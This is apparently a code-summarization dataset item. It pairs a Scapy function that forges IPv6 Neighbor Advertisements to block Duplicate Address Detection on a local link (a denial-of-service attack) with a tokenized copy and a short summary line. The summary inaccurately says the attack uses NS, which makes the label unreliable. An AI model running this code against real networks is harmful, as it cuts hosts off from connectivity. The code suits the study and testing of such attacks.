def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None):
 def na_reply_callback(req, reply_mac, iface):
  '\n        Callback that reply to a NS with a NA\n        '
  mac = req[Ether].src
  dst = req[IPv6].dst
  tgt = req[ICMPv6ND_NS].tgt
  rep = (Ether(src=reply_mac) / IPv6(src=tgt, dst=dst))
  rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1)
  rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
  sendp(rep, iface=iface, verbose=0)
  print ('Reply NA for target address %s (received from %s)' % (tgt, mac))
 _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter, tgt_filter, reply_mac)

def NDP_Attack_DAD_DoS_via_NA ( iface = None , mac_src_filter = None , tgt_filter = None , reply_mac = None ) : def na_reply_callback ( req , reply_mac , iface ) : mac = req [ Ether ] . src dst = req [ IPv6 ] . dst tgt = req [ ICMPv6ND_NS ] . tgt rep = ( Ether ( src = reply_mac ) / IPv6 ( src = tgt , dst = dst ) ) rep /= ICMPv6ND_NA ( tgt = tgt , S = 0 , R = 0 , O = 1 ) rep /= ICMPv6NDOptDstLLAddr ( lladdr = reply_mac ) sendp ( rep , iface = iface , verbose = 0 ) print ( 'Reply NA for target address %s (received from %s)' % ( tgt , mac ) ) _NDP_Attack_DAD_DoS ( na_reply_callback , iface , mac_src_filter , tgt_filter , reply_mac )
perform the dad dos attack using ns described in section 4 .